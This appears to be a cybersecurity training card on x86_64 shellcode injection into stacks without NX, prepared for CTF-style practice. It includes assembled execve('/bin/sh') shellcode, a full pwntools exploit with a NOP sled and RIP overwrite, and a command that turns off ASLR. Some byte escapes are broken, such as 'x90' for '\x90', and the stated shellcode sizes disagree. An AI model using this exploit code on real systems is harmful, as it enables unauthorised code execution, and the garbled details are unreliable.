Shellcode Injection and Execution: NX-Free Environment Exploitation and NOP Sled Delivery
Théorie
Why This Matters
Shellcode injection is the original stack exploitation technique and remains relevant in embedded systems, custom allocators, and CTF challenges that intentionally disable NX (No-eXecute). Understanding how to write minimal x86_64 shellcode, use NOP sleds for reliability, and verify protections with checksec is foundational. NICE K0168 (exploit code knowledge) and S0131 (develop exploits) both require the ability to write, assemble, test, and deliver position-independent shellcode. Even when NX is enabled, shellcode concepts inform ROP chain design and the understanding of what the CPU will execute when control flow is redirected.
Core Concept
Shellcode is machine code injected into a process that, when executed, performs the attacker's desired action — typically spawning a shell via execve("/bin/sh", NULL, NULL). For shellcode injection to succeed:
- The buffer containing the shellcode must be in executable memory (NX disabled, or in a region mapped with execute permission).
- The instruction pointer (RIP) must be redirected to the shellcode's start address.
- The shellcode must be position-independent (no absolute addresses) since its load address varies.
- The shellcode must avoid bad bytes that the delivery mechanism would corrupt (null bytes for string functions, newlines for line-based reads, etc.).
Protections to check with checksec:
checksec --file=./target
# NX: disabled -> stack is executable (shellcode possible)
# NX: enabled -> need ROP instead
# PIE: disabled -> stack address is predictable (no ASLR on binary)
# ASLR: system-wide; if disabled (/proc/sys/kernel/randomize_va_space = 0), stack base is fixed
# Stack Canary: if absent, direct overflow to RIP is undetected
NOP sled: a sequence of x90 (NOP) instructions preceding the shellcode. If the actual execution address is uncertain (e.g., ASLR gives stack a range but a specific offset is guessed), the NOP sled increases the target area. Execution entering anywhere in the sled slides down into the shellcode.
Technical Deep-Dive
Minimal 27-byte x86_64 execve shellcode (null-free):
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# pwntools shellcraft generates assembly
shellcode = asm(shellcraft.sh())
print(f"pwntools shellcode length: {len(shellcode)} bytes")
print(disasm(shellcode))
Manual minimal shellcode (null-free, 23 bytes):
from pwn import *
context.arch = 'amd64'
shellcode = asm("""
/* execve("/bin//sh", NULL, NULL) */
xor rdx, rdx /* rdx = NULL (envp) */
xor rsi, rsi /* rsi = NULL (argv) */
push rdx /* push null terminator */
push 0x68732f2f /* push "//sh" */
push 0x6e69622f /* push "/bin" */
mov rdi, rsp /* rdi = ptr to "/bin//sh " */
push 59 /* push execve syscall number */
pop rax /* rax = 59 */
syscall
""")
print(f"Manual shellcode: {len(shellcode)} bytes")
assert b'x00' not in shellcode, "null byte detected"
Complete exploit with NOP sled and RIP overwrite:
from pwn import *
context.arch = 'amd64'
elf = ELF('./shellcode_challenge')
p = process('./shellcode_challenge')
shellcode = asm(shellcraft.sh())
# Determine RIP offset (buffer size before saved RIP)
rip_offset = 64 # example: 64-byte buffer, no canary
# Stack address of buffer (found via GDB or /proc/<pid>/maps + offset)
# For a non-ASLR target (ASLR disabled globally):
buf_addr = 0x7fffffffe3d0 # address of the buffer on the stack (from GDB)
# NOP sled: fill space before shellcode with NOPs
nop_sled = b'x90' * (rip_offset - len(shellcode))
payload = nop_sled + shellcode # total = rip_offset bytes
payload += p64(buf_addr + 8) # saved RIP: point into NOP sled or shellcode start
# The +8 offset puts RIP into the middle of the NOP sled for reliability
assert len(payload) == rip_offset + 8
p.sendline(payload)
p.interactive()
Finding stack address in GDB:
gdb ./shellcode_challenge
(gdb) break vuln_function
(gdb) run
(gdb) x/gx $rsp # current rsp
(gdb) info frame # shows rbp, saved rip, local variables
(gdb) p &buf # address of the local buffer
# Record this address; use with appropriate NOP sled offset
Checking for null bytes in shellcode:
shellcode = asm(shellcraft.sh())
null_positions = [i for i, b in enumerate(shellcode) if b == 0]
if null_positions:
print(f"Null bytes at positions: {null_positions}")
print("Use shellcraft with avoid=[0] or write null-free shellcode manually")
else:
print("No null bytes -- safe for string-based delivery")
Reverse Engineering Methodology
- Run
checksec --file=./targetimmediately. IfNX: disabled, shellcode injection is the primary technique. IfNX: enabled, pivot to ROP. - Find the buffer-to-RIP offset: use
cyclic(200)overflow, catch the crash withdmesg | tailor GDB, identify the 4-byte pattern that landed in RIP, andcyclic_find()it. - Find the buffer's runtime address in GDB: set a breakpoint at the vulnerable
read/getscall, run, and print$rdi(the destination pointer) orp &buf. This is the address to write into saved RIP. - Verify that the shellcode assembles to the correct bytes with
disasm(shellcode)and does not contain bad bytes for the delivery mechanism. Forgets, avoidx00andx0a; forread, only avoidx00if the count is strlen-based.
Common Reversing Errors
- Confusing RIP offset with buffer size: the RIP offset includes the buffer, any padding from struct alignment, saved RBP (8 bytes), and then saved RIP. It is buffer_size + 8 + padding, not just buffer_size. Always verify empirically with cyclic.
- Guessing the wrong stack address: ASLR randomises the stack. If ASLR is enabled, a static stack address from GDB will not match the runtime address. Disable ASLR (
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space) for testing, or use a stack leak to obtain the runtime address. - NOP sled too small: a NOP sled should be at least 64–128 bytes for comfortable ASLR tolerance. If the sled is shorter than the shellcode, there is no benefit. Size the sled as
rip_offset - len(shellcode)bytes. - Shellcode contains bad bytes for the delivery function:
getsstops onx0a(newline);scanf("%s")stops on any whitespace;fgetslimits to N bytes. Useshellcraftwith theavoidparameter:shellcraft.sh()followed byasm(..., avoid=[0x0a])or verify manually.
Challenge Lab
Renforcez votre apprentissage avec un défi généré basé sur la compétence de cette carte.